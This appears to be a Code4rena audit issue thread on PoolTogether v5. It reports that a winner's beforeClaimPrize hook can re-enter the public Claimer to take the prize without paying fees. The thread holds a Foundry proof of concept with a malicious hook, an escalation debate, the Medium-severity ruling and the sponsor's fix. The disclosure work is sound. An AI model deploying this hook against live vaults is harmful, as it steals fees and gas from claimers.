c4-bot-6 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/abstract/Claimable.sol#L86-L92

Vulnerability details

Impact

When the winner earns his reward he can either claim it himself, or he can let a claimer contract withdraw it on his behalf, and he will pay part of his reward for that. This is because the user will not pay for the gas fees, instead the claimer contract will pay it instead.

The problem here is that the winner can make the claimer pay for the gas of the transaction, without paying the fees that the claimer contract takes.

Claimer contracts are allowed for anyone to use them, transfer prizes to winners, and claim some fees. where the one who fired the transaction is the one who will pay for the fees, so he deserved that fees.

pt-v5-claimer/Claimer.sol#L120-L150

  // @audit and one can call the function
  function claimPrizes( ... ) external returns (uint256 totalFees) {
    ...

    if (!feeRecipientZeroAddress) {
      ...
    }

    return feePerClaim * _claim(_vault, _tier, _winners, _prizeIndices, _feeRecipient, feePerClaim);
  }

As in the function, the function takes winners, and he passed the fees recipient and his fees (but it should not exceeds the maxFees which is initialzed in the constructor).

Now We know that anyone can transfer winners' prizes and claim some fees.

Before the prizes are claimed, the winner can initialize a hook before calling the PoolPrize::claimPrize, and this is used if the winner wants to initialize another address as the receiver of the reward.

The hook parameter is passed by parameters that are used to determine the correct winner (winner address, tier, prizeIndex).

abstract/Claimable.sol#L85-L95

    uint24 public constant HOOK_GAS = 150_000;

    ...

    function claimPrize( ... ) external onlyClaimer returns (uint256) {
        address recipient;

        if (_hooks[_winner].useBeforeClaimPrize) {
            recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }(
                _winner,
                _tier,
                _prizeIndex,
                _reward,
                _rewardRecipient
            );
        } else {
            recipient = _winner;
        }

        if (recipient == address(0)) revert ClaimRecipientZeroAddress();

        uint256 prizeTotal = prizePool.claimPrize( ... );

        ...
    }

But to prevent OOG the gas is limited to 150K.

Now What can the user do to make the claimer pay for the transaction, and not pay any fees is:

he will make a beforeClaimPrize hook
In this function, the user will simply claim his reward Claimer::claimPrizes(...params) but with settings no fees, and only passing his winning prize parameters (we got them from the hook).
The winner (attacker) will not do any further interaction to not make the tx go OOG (remember we have only 150k).
After the user claims his reward, he will simply return his address (the winner's address).
The Claimer contract will go to claim this winner's rewards, but it will return 0 as it is already claimed.
The Claimer will complete his process (claiming other prizes on behalf of winners).
The winner (attacker) will end up claiming his reward without paying for the transaction gas fees.

Note: The Claimer claiming function will not revert, as if the prize was already claimed the function will just emit an event and will not revert

pt-v5-claimer/Claimer.sol#L194-L198

  function _claim( ... ) internal returns (uint256) {
    ...

        try
          _vault.claimPrize(_winners[w], _tier, _prizeIndices[w][p], _feePerClaim, _feeRecipient)
        returns (uint256 prizeSize) {
          if (0 != prizeSize) {
            actualClaimCount++;
          } else {
            // @audit Emit an event if the prize already claimed
            emit AlreadyClaimed(_winners[w], _tier, _prizeIndices[w][p]);
          }
        } catch (bytes memory reason) {
          emit ClaimError(_vault, _tier, _winners[w], _prizeIndices[w][p], reason);
        }

    ...
  }

The only Check that can prevent this attack is the gas cost of calling beforeClaimPrize hook.

We will call one function Claimer::claimPrizes() by only passing one winner, and without fees. We calculated the gas that can be used by installing protocol contracts (Claimer and PrizePool), then grap a test function that first the function we need, and we got these results:

Calling Claimer::claimPrize() costs 5292 gas if it did not claimed anything.
Calling PrizePool::claimePrize() costs 118124 gas.

So the total gas that can be used is $118,124 + 5292 = 123,416$. which is smaller than HOOK_GAS by more than 25K, so the function will not revert because of OOG error, and the reentrancy will occur.

Another thing that may lead to mis-understanding is that the Judger may say ok if this happens the function will go to beforeClaimPrize hook again leading to infinite loop and the transaction will go OOG. But making the transaction beforeClaimPrize be fired to make a result and when called again do another logic is an easy task that can be made by implementing a counter or something. However, we did not implement this counter in our test. We just wanted to point out how the attack will work in our POC, but in real interactions, there should be some edge cases to take care of and further configurations to take care off.

Proof of Concept

We made a simulation of how the function will occur. We found that the testing environment made by the devs is abstracted a little bit compared to the real flow of transactions in the production mainnet, so I made Mock contracts, and simulated the attack with them. Please go for the testing script step by step, and it will work as intended.

Add the following Imports and scripts in test/Claimable.t.sol::L8

Imports and Contracts

```solidity import { console2 } from "forge-std/console2.sol"; import { PrizePoolMock } from "../contracts/mock/PrizePoolMock.sol"; contract Auditor_MockPrizeToken { mapping(address user => uint256 balance) public balanceOf; function mint(address user, uint256 amount) public { balanceOf[user] += amount; } function burn(address user, uint256 amount) public { balanceOf[user] -= amount; } } contract Auditor_PrizePoolMock { Auditor_MockPrizeToken public immutable prizeToken; constructor(address _prizeToken) { prizeToken = Auditor_MockPrizeToken(_prizeToken); } // The reward is fixed to 100 tokens function claimPrize( address winner, uint8 /* _tier */, uint32 /* _prizeIndex */, address /* recipient */, uint96 reward, address rewardRecipient ) public returns (uint256) { // Distribute rewards if the PrizePool earns a reward if (prizeToken.balanceOf(address(this)) >= 100e18) { prizeToken.mint(winner, 100e18 - uint256(reward)); // Transfer reward tokens to the winner // Transfer fees to the claimer Receipent. // Instead of adding balance to the PrizePool contract and then the claimerRecipent // Can withdraw it, we will transfer it to the claimerRecipent directly in our simulation prizeToken.mint(rewardRecipient, reward); // Simulating Token transfereing by minting and burning prizeToken.burn(address(this), 100e18); } else { return 0; } return uint256(100e18); } } contract Auditor_Claimer { ClaimableWrapper public immutable prizeVault; constructor(address _prizeVault) { prizeVault = ClaimableWrapper(_prizeVault); } function claimPrizes( address[] calldata _winners, uint8 _tier, uint256 _claimerFees, address _feeRecipient ) external { for (uint i = 0; i < _winners.length; i++) { prizeVault.claimPrize(_winners[i], _tier, 0, uint96(_claimerFees), _feeRecipient); } } } ```

Add the following functions in test/Claimable.t.sol::L132

Testing Functions

```solidity Auditor_Claimer __claimer; function testAuditor_winnerStealClaimerFees() public { console2.log("Winner reward is 100 tokens"); console2.log("Fees are 10% (10 tokens)"); console2.log("============="); console2.log("Simulating the normal Operation (No stealing)"); auditor_complete_claim_proccess(false); console2.log("============="); console2.log("Simulating winner steal recipent fees"); auditor_complete_claim_proccess(true); } function auditor_complete_claim_proccess(bool willSteal) internal { // If tier is 1 we will take the claimer fees and if 0 we will do nothing uint8 tier = willSteal ? 1 : 0; Auditor_MockPrizeToken __prizeToken = new Auditor_MockPrizeToken(); Auditor_PrizePoolMock __prizePool = new Auditor_PrizePoolMock(address(__prizeToken)); address __winner = makeAddr("winner"); address __claimerRecipent = makeAddr("claimerRecipent"); // This will be like the `PrizeVault` that has the winner ClaimableWrapper __claimable = new ClaimableWrapper( PrizePool(address(__prizePool)), address(1) ); // Claimer contract, that can transfer winners rewards __claimer = new Auditor_Claimer(address(__claimable)); // Set new Claimer __claimable.setClaimer(address(__claimer)); VaultHooks memory beforeHookOnly = VaultHooks(true, false, hooks); vm.startPrank(__winner); __claimable.setHooks(beforeHookOnly); vm.stopPrank(); // PrizePool earns 100 tokens from yields, and we picked the winner __prizeToken.mint(address(__prizePool), 100e18); address[] memory __winners = new address[](1); __winners[0] = __winner; // Claim Prizes by providing `__claimerRecipent` __claimer.claimPrizes(__winners, tier, 10e18, __claimerRecipent); console2.log("Winner PrizeTokens:", __prizeToken.balanceOf(__winner) / 1e18, "token"); console2.log( "ClaimerRecipent PrizeTokens:", __prizeToken.balanceOf(__claimerRecipent) / 1e18, "token" ); } ```

Change beforeClaimPrize hook function, and replace it with the following.

    function beforeClaimPrize(
        address winner,
        uint8 tier,
        uint32 prizeIndex,
        uint96 reward,
        address rewardRecipient
    ) external returns (address) {
        address[] memory __winners = new address[](1);
        __winners[0] = winner;

        if (tier == 1) {
            __claimer.claimPrizes(__winners, 0, 0, rewardRecipient);
        }

        return winner;
    }

Check that everything is correct and run

forge test --mt testAuditor_winnerStealClaimerFees -vv

Output:

  Winner reward is 100 tokens
  Fees are 10% (10 tokens)
  =============
  Simulating the normal Operation (No stealing)
  Winner PrizeTokens: 90 token
  ClaimerRecipent PrizeTokens: 10 token
  =============
  Simulating winner steal recipient fees
  Winner PrizeTokens: 100 token
  ClaimerRecipent PrizeTokens: 0 token

In this test, we first made a reward and withdraw it from our Claimer contract normally (no attack happened), and then we made another prize reward but by making the attack when withdrawing it, which can be seen in the Logs.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

We can check the prize state before and after the hook and if it changes from unclaimed to claimed, we can revert the transaction.

Claimable.sol


function claimPrize( ... ) external onlyClaimer returns (uint256) {
address recipient;

    if (_hooks[_winner].useBeforeClaimPrize) {

bool isClaimedBefore = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex); recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }( ... );
bool isClaimedAfter = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex);
if (isClaimedBefore == false && isClaimedAfter == true) {
revert("The Attack Occuared");
} } else { ... } ... }



_NOTE: We was writing this issue 30 min before ending of the contest so we did not check for the grammar quality or the words, and the mitigation review may not be the best, or may not work (we did not tested it), Devs should keep this in mind when mitigating this issue._

## Assessed type

Reentrancy

raymondfam commented 5 months ago

Claimable::claimPrize has the visibility of onlyClaimer denying the winner's hook reentrancy. The winner can't any prize unless he/she is the permitted claimer.

c4-pre-sort commented 5 months ago

raymondfam marked the issue as insufficient quality report

c4-pre-sort commented 5 months ago

raymondfam marked the issue as duplicate of #18

c4-judge commented 5 months ago

hansfriese changed the severity to QA (Quality Assurance)

c4-judge commented 5 months ago

hansfriese marked the issue as grade-b

Al-Qa-qa commented 5 months ago

Hi @hansfriese, thanks for judging this contest in that short period.

There is a misunderstanding of this issue with its group (78), and I will illustrate how this occurs.

There are three contracts that we will deal with for making this exploit:

PrizeVault(Claimable): this is the claimable contract that has the function to give a winner his prize.
Claimer: The contract that has the authority to transfer the prize to the winner (from the Claimable contract).
PrizePool: The Contract that has the prize, which we will be called to claim the prize and give it to the winner.

The issue was rejected by replying that the onlyClaimer modifier prevents the hook from returning and calling the function again. So the judge thought that I said the beforeClaimHook will call Claimable::claimPrize(), and this is not what I said in my report.

In my report, I said that the hook will go to the Claimer contract itself, and call the claimPrizes function (the function that is in Claimer contract that fires PrizeVault(Claimable)::claimPrize.

beforeClaimHook will call Claimer::claimPrizes() which will call Claimable::claimPrize()

he will make a beforeClaimPrize hook

In this function, the user will simply claim his reward Claimer::claimPrizes(...params) but with settings no fees, and only passing his winning prize parameters (we got them from the hook).

I think the conflict occurs as Claimer and Claimable are two different contracts, but they have similar names as well as the function names are also similar claimPrize and claimPrizes. So misunderstanding occuared

I illustrated in my report that the way the Claimer contract design is not restricted and, anyone can use it to claim fees and send prizes to the winners.

Claimer.sol#L120-L150

  // @audit and one can call the function
 function claimPrizes( ... ) external returns (uint256 totalFees) {
  ...

  if (!feeRecipientZeroAddress) {
     ...
  }

   return feePerClaim * _claim(_vault, _tier, _winners, _prizeIndices, _feeRecipient, feePerClaim);
 }

According to @raymondfam comment for rejecting this issue:

Claimable::claimPrize has the visibility of onlyClaimer denying the winner's hook reentrancy. The winner can't any prize unless he/she is the permitted claimer.

Anyone can be a permitted claimer as the function that interacts with the PrizeVault(Claimable) is accessible to anyone, as I showed here and in my report.

In my report I did not say that the hook will go to fire PrizeVault(Claimable)::claimPrize directly, Instead, I said that it will call Claimer::claimPrizes().

he will make a beforeClaimPrize hook

In this function, the user will simply claim his reward Claimer::claimPrizes(...params) but with settings no fees, and only passing his winning prize parameters (we got them from the hook).

So the pass will be the following:

We will use (MEV searcher) to represent the one that claims winners' prizes using Claimer contract

MEV searcher call Claimer::claimPrizes(...params), providing more than one winner.
When the malicious winner prize is the next one on the queue, beforeClaimPrize will be used to call Claimer::claimPrizes() again, using the parameters passed to it, and the winner prize will get claimed using MEV searcher gas, but without paying the fees to the MEV searcher.
Since the Prize already claimed, the MEV searcher will not be able to reclaim it again, and will gain 0 fees (Knowing that he is the one who paid for the gas in the first place).

PASS:

MEV--Claimer::claimPrizes(...)
PrizeVault(Claimabe)::claimPrize()
PrizeVault(Claimabe):WinnerHook:beforeClaimPrize()
WinnerHook--Claimer::claimPrizes() [with winner (attacker) params, no fees]
PrizeVault(Claimabe)::claimPrize() [with winner (attacker) params, no fees]
PrizeVault(Claimabe):WinnerHook:beforeClaimPrize() [with winner (attacker) params, no fees] 6.1. make 'beforeClaimPrize' just return winner address at this time
PrizeVault(Claimabe):PrizePool::claimPrize([using no fees]) [with winner (attacker) params, no fees] 7.1 After the winner (attacker) claimed his reward using 'beforeClaimPrize()', the function 'beforeClaimPrize()' will return the winner address 7.2 [beforeClaimPrize returned the winner address] (note: '4', '5', '6', '7' happens inside 'beforeClaimPrize()' when the MEV searcher called claimer at '1' 7.3 After this, the function will complete its execution (and the MEV will go to claim the prize of the winner and earn fees)
PrizePool::claimPrize([using fees]) [with MEV searcher params, with fees]
Function return 0 as it is already claimed

I highly encourage setting up the PoC and running it, I made a simulation of the normal state, and when the hook is used to steal rewards. By providing -vvvv, the call path will be viewed clearly.

All what I said here exists in my report, and I provided a runnable PoC that can be used by the judge to simulate the attack, it can be viewed by expanding the collapsed content from the triangle, and following setting up PoC instructions.

One additional thing: this issue is not a duplicate of issue 18, my issue illustrates how the winner can steal the fees, and force the MEV searcher to pay for the gas.

As I illustrated in the title there are two Impacts:

The fees will get stolen from the caller of Claimer contract (MEV searcher), and the winner will get them himself.
The Winner will force the caller (MEV searcher) to pay for the gas, which can be considered griefing.

Sorry for That long escalation text, but I wanted to explain things as well as I could to show the issue and its Impact to the Judger.

Please, if the Judger could reread the issue writeup carefully, after taking into consideration the points of conflict I showed here.

Thanks a lot, @hansfriese as well as @raymondfam for your time.

c4-judge commented 5 months ago

hansfriese removed the grade

c4-judge commented 5 months ago

This previously downgraded issue has been upgraded by hansfriese

hansfriese commented 5 months ago

Nice report! After checking again, I agree it's a valid concern and Medium is appropriate.

c4-judge commented 5 months ago

hansfriese marked the issue as not a duplicate

c4-judge commented 5 months ago

hansfriese marked the issue as satisfactory

c4-judge commented 5 months ago

hansfriese marked the issue as primary issue

c4-judge commented 5 months ago

hansfriese marked the issue as selected for report

trmid commented 5 months ago

Although this issue can be mitigated in the PrizeVault as described, we chose to update the PrizePool and Claimer contracts with logic that ensures a double prize claim will revert so that the griefer will not receive their prize. This removes any incentivization for the malicious hook to be set. (PRs linked for context)

By fixing the issue in the prize pool and claimer, we save gas by avoiding the two additional external calls added in the original mitigation.

PrizePool.sol: https://github.com/GenerationSoftware/pt-v5-prize-pool/pull/100 Claimer.sol: https://github.com/GenerationSoftware/pt-v5-claimer/pull/28

c4-sponsor commented 4 months ago

trmid (sponsor) confirmed

code-423n4 / 2024-03-pooltogether-findings

The winner can steal claimer fees, and force him to pay for the gas #345

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps